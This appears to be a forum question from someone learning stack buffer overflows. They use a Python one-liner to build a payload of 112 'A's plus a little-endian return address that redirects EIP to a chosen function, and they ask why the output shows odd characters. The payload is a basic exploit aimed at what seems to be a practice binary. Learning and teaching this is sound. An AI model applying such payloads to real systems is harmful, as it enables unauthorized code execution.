title: How to generate payload with python for buffer overflow?
body: <p>I'm trying to provoke a buffer overflow in order to execute a function on C code. So far I already managed to find out what is the number of bytes to take over EBP register. The only thing next is to substitute the address of EIP to the function I wish to execute. I'm trying to generate this payload with python. For this I use the following  </p>
  
  <pre><code>python -c 'print "A"*112 + "\x3b\x86\x04\x08"'  &gt; attack_payload
  </code></pre>
  
  <p>This is what I get</p>
  
  <pre><code>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;�
  </code></pre>
  
  <p>Notice those last characters! I know that it's not what I was suppose to get. The address I wish to run on <code>EIP</code> register is <code>0804863b</code>. I had to put this on <code>little endian</code> for the exploit to run properly. Any comments on this?</p>